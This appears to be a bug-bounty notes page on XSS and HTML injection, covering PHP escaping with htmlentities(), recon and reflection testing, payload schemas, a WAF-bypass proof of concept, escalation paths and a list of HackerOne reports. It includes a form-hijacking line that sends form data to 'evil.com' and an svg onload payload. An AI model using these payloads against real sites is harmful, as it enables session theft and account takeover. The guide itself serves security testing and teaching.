XSS-HTML Injection

In the name of God, the Most Gracious, the Most Merciful

What's XSS

XSS, or Cross-Site Scripting, is like a digital illusionist's trick on the web. It occurs when a malicious script is injected into a website, turning it into a stage for hackers. Imagine innocent user input as a Trojan horse, bringing in a hidden script that dances through the site, stealing sensitive information like a phantom in the digital shadows. XSS exploits the trust between websites and users, turning the virtual playground into a stage for unseen mischief. Guarding against this vulnerability is like installing a cybersecurity force field, protecting the online theater from unwanted script-kiddie performances.

Example For Vulnerable code

    <!DOCTYPE html>
    <html>
    <body>
    
    <?php
    $txt = "PHP";
    echo "I love $txt!";
    ?>
    
    </body>
    </html>

Mitigation code

  • Use htmlentities() Function

    <!DOCTYPE html>
    <html>
    <body>
    
    <?php
    $txt = '"><script>alert(0)</script>';
    echo htmlentities("I love $txt!");
    ?>
    
    </body>
    </html>
  • Examples for htmlentities()

    <?php
    $str = "A 'quote' is <b>bold</b>";
    
    // Outputs: A 'quote' is &lt;b&gt;bold&lt;/b&gt;
    echo htmlentities($str);
    
    // Outputs: A &#039;quote&#039; is &lt;b&gt;bold&lt;/b&gt;
    echo htmlentities($str, ENT_QUOTES);
    ?>

XSS & HTMLI Testing Methodology

  • Basic Schema <tag handler=code>

  • Advanced Final Schema Try to make you Payloads inspired by this schema this will help you to bypass filters/Bypasses extra1<tag spacer1 extra2 spacer2 handler spacer3 = spacer4 code spacer5> extra3

1) Find a reflection point

  • use gau/waymore to grab all urls and pass them to kxss tool to test reflection echo "domain.com" | gau | kxss | grep ">"

  • Do some Google or any seach engines dorking to find endpoints

  • Navigate to website and try every single function and features with burp/ZAP logging the requests Testing every parameter for relection using Extenstions like "Reflector" or "Reflect"

  • FUZZING parameters using "Param-Miner" and "Arjun and test their reflection

2) Get HTML injection

  • Payloads

HTML Injection Exploitation/Escalation

  • Open Redirect

  • Setting a Cookie

  • Abuse CSS

  • Stealing Forms Set a form header: <form action='http://evil.com/log_steal'> this will overwrite the next form header and all the data from the form will be sent to the attacker

  • using noscript

3) Get your event handler injected

"When building XSS payloads, some javascript event handlers can be used regardless of the tag used and work on the 5 major browsers until date (Chrome, Firefox, IE/Edge, Safari and Opera) hence the term “agnostic”"

Brute Force Event Handlers

4) Inject JS code

  • h0tak88r XSS

  • Blind XSS Get your blind XSS payloads from https://xss.report/ OR https://xsshunter.trufflesecurity.com/app/#/

Payload list

polyglots

XSS Exploitation

  • Self XSS + CORS = ATO

  • Self XSS to ATO

  • XSS to ATO

  • XSS to RCE

https://swarm.ptsecurity.com/researching-open-source-apps-for-xss-to-rce-flaws/

  • XSS to LFI

  • XSS to SSRF

  • XSS Via Header Injection

  • XSS to Open Redirect

  • Phishing Via Iframe

  • Remote File Inclusion (RFI) to XSS

  • File upload To XSS

  • XSS via SVG file

DOM XSS

Check for Dom-XSS in Swagger-UI

Example for Vulnerable Code

Exploit

Some Bypasses Techniques

  • XSS for .JSON endpoint [ bypass (.html)and WAF ]

    • “resource Type” : “silent:nonexitsting” Function

      https://user-images.githubusercontent.com/108616378/219940178-c7988e77-c51a-4e79-add2-e0b192d92e02.png
    • Use url-encoded payload with .htm extension and // for break directory block too , So the server so the server didn’t understand my request fully

    • POC: https://www.redacted.com/etc/designs/redacted.json//%3Csvg%20onload=alert(document.domain)%3E.html

  • XSS in meta tag

Top XSS reports from HackerOne:

  1. Stored XSS on https://paypal.com/signin via cache poisoning to PayPal - 646 upvotes, $18900

  2. Stored XSS in Wiki pages to GitLab - 595 upvotes, $4500

  3. Stored XSS on imgur profile to Imgur - 591 upvotes, $650

  4. Reflected XSS in OAUTH2 login flow to LINE - 471 upvotes, $1989

  5. XSS in steam react chat client to Valve - 453 upvotes, $7500

  6. XSS vulnerable parameter in a location hash to Slack - 440 upvotes, $1100

  7. Blind XSS on image upload to CS Money - 407 upvotes, $1000

  8. Stored XSS Vulnerability to WordPress - 394 upvotes, $500

  9. Stored XSS in wordpress.com to Automattic - 348 upvotes, $650

  10. HEY.com email stored XSS to Basecamp - 345 upvotes, $5000

  11. Reflected XSS in TikTok endpoints to TikTok - 344 upvotes, $4500

  12. XSS while logging using Google to Shopify - 325 upvotes, $1750

  13. DOM XSS on duckduckgo.com search to DuckDuckGo - 316 upvotes, $0

Cross Site Scripting (XSS) Write_ups

Last updated

Was this helpful?